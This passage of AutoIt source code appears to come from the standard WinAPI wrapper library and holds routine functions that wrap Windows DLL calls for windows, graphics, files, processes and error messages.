Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
Case $cderr_findresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
Case $cderr_initialization
Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
EndSwitch
EndIf
Return SetError(@error, @extended, "0x" & Hex($aresult[0]))
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $bmanualreset = True, $binitialstate = True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $bmanualreset, "bool", $binitialstate, $snametype, $sname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch
If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
If @error OR ($aresult[0] = $invalid_handle_value) Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial")
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfontindirect($tlogfont)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "INT", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $binherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
Local $tcommand = 0
Local $sappnametype = "wstr", $sdirtype = "wstr"
If $sappname = "" Then
$sappnametype = "ptr"
$sappname = 0
EndIf
If $scommand <> "" Then
$tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
DllStructSetData($tcommand, "Text", $scommand)
EndIf
If $sdir = "" Then
$sdirtype = "ptr"
$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $binherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
If NOT _winapi_fillrect($hdestdc, $trect, $hbrush) Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_deletedc($hdc)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_deleteobject($hobject)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroyicon($hicon)
Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroywindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawedge($hdc, $prect, $iedgetype, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $prect, "uint", $iedgetype, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawframecontrol($hdc, $prect, $itype, $istate)
Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $prect, "uint", $itype, "uint", $istate)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
Local $ioptions
Switch $iflags
Case 1
$ioptions = $di_mask
Case 2
$ioptions = $di_image
Case 3
$ioptions = $di_normal
Case 4
$ioptions = $di_compat
Case 5
$ioptions = $di_defaultsize
Case Else
$ioptions = $di_nomirror
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
_winapi_moveto($hdc, $ix1, $iy1)
If @error Then Return SetError(@error, @extended, False)
_winapi_lineto($hdc, $ix2, $iy2)
If @error Then Return SetError(@error + 10, @extended, False)
Return True
EndFunc
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $binherithandle, $ioptions)
Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $binherithandle, "dword", $ioptions)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
Return $aresult[4]
EndFunc
Func _winapi_enablewindow($hwnd, $benable = True)
Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $benable)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
Local $tname = 0, $iflags = 0, $adevice[5]
If $sdevice <> "" Then
$tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
DllStructSetData($tname, "Text", $sdevice)
EndIf
Local $tdevice = DllStructCreate($tagdisplay_device)
Local $idevice = DllStructGetSize($tdevice)
DllStructSetData($tdevice, "Size", $idevice)
Local $aret = DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Local $in = DllStructGetData($tdevice, "Flags")
If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
$adevice[0] = True
$adevice[1] = DllStructGetData($tdevice, "Name")
$adevice[2] = DllStructGetData($tdevice, "String")
$adevice[3] = $iflags
$adevice[4] = DllStructGetData($tdevice, "ID")
Return $adevice
EndFunc
Func _winapi_enumwindows($bvisible = True, $hwnd = Default)
__winapi_enumwindowsinit()
If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
__winapi_enumwindowschild($hwnd, $bvisible)
Return $__g_awinlist_winapi
EndFunc
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
$__g_awinlist_winapi[0][0] += 1
Local $icount = $__g_awinlist_winapi[0][0]
If $icount >= $__g_awinlist_winapi[0][1] Then
ReDim $__g_awinlist_winapi[$icount + 64][2]
$__g_awinlist_winapi[0][1] += 64
EndIf
$__g_awinlist_winapi[$icount][0] = $hwnd
$__g_awinlist_winapi[$icount][1] = $sclass
EndFunc
Func __winapi_enumwindowschild($hwnd, $bvisible = True)
$hwnd = _winapi_getwindow($hwnd, $gw_child)
While $hwnd <> 0
If (NOT $bvisible) OR _winapi_iswindowvisible($hwnd) Then
__winapi_enumwindowsadd($hwnd)
__winapi_enumwindowschild($hwnd, $bvisible)
EndIf
$hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
WEnd
EndFunc
Func __winapi_enumwindowsinit()
ReDim $__g_awinlist_winapi[64][2]
$__g_awinlist_winapi[0][0] = 0
$__g_awinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
WEnd
Return $__g_awinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
$hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
WEnd
Return $__g_awinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_fillrect($hdc, $prect, $hbrush)
Local $aresult
If IsPtr($hbrush) Then
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $prect, "handle", $hbrush)
Else
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $prect, "dword_ptr", $hbrush)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_findexecutable($sfilename, $sdirectory = "")
Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
If @error Then Return SetError(@error, @extended, "")
If $aresult[0] <= 32 Then Return SetError(10, $aresult[0], "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_findwindow($sclassname, $swindowname)
Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_flashwindow($hwnd, $binvert = True)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $binvert)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
Local $tflash = DllStructCreate($tagflashwinfo)
Local $iflash = DllStructGetSize($tflash)
Local $imode = 0
If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $flashw_caption)
If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $flashw_tray)
If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $flashw_timer)
If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $flashw_timernofg)
DllStructSetData($tflash, "Size", $iflash)
DllStructSetData($tflash, "hWnd", $hwnd)
DllStructSetData($tflash, "Flags", $imode)
DllStructSetData($tflash, "Count", $icount)
DllStructSetData($tflash, "Timeout", $itimeout)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_floattoint($nfloat)
Local $tfloat = DllStructCreate("float")
Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
DllStructSetData($tfloat, 1, $nfloat)
Return DllStructGetData($tint, 1)
EndFunc
Func _winapi_flushfilebuffers($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
Local $sbuffertype = "struct*"
If IsString($pbuffer) Then $sbuffertype = "wstr"
Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_framerect($hdc, $prect, $hbrush)
Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $prect, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_freelibrary($hmodule)
Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getancestor($hwnd, $iflags = 1)
Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getasynckeystate($ikey)
Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getbkmode($hdc)
Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
Local $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Local $acursor[5]
$acursor[0] = True
$acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
$acursor[2] = DllStructGetData($tcursor, "hCursor")
$acursor[3] = DllStructGetData($tcursor, "X")
$acursor[4] = DllStructGetData($tcursor, "Y")
Return $acursor
EndFunc
Func _winapi_getdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdesktopwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdevicecaps($hdc, $iindex)
Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getdlgctrlid($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdlgitem($hwnd, $iitemid)
Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getfilesizeex($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, -1)
Return $aresult[2]
EndFunc
Func _winapi_getfocus()
Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getforegroundwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_geticoninfo($hicon)
Local $tinfo = DllStructCreate($tagiconinfo)
Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Local $aicon[6]
$aicon[0] = True
$aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
$aicon[2] = DllStructGetData($tinfo, "XHotSpot")
$aicon[3] = DllStructGetData($tinfo, "YHotSpot")
$aicon[4] = DllStructGetData($tinfo, "hMask")
$aicon[5] = DllStructGetData($tinfo, "hColor")
Return $aicon
EndFunc
Func _winapi_getlasterrormessage()
Local $ilasterror = _winapi_getlasterror()
Local $tbufferptr = DllStructCreate("ptr")
Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $stext = ""
Local $pbuffer = DllStructGetData($tbufferptr, 1)
If $pbuffer Then
If $ncount > 0 Then
Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
$stext = DllStructGetData($tbuffer, 1)
EndIf
_winapi_localfree($pbuffer)
EndIf
Return $stext
EndFunc
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $itranscolor, ByRef $itransparency, $bcolorref = False)
$itranscolor = -1
$itransparency = -1
Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "INT*", $itranscolor, "byte*", $itransparency, "dword*", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
If NOT $bcolorref Then
$aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
EndIf
$itranscolor = $aresult[2]
$itransparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($btoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
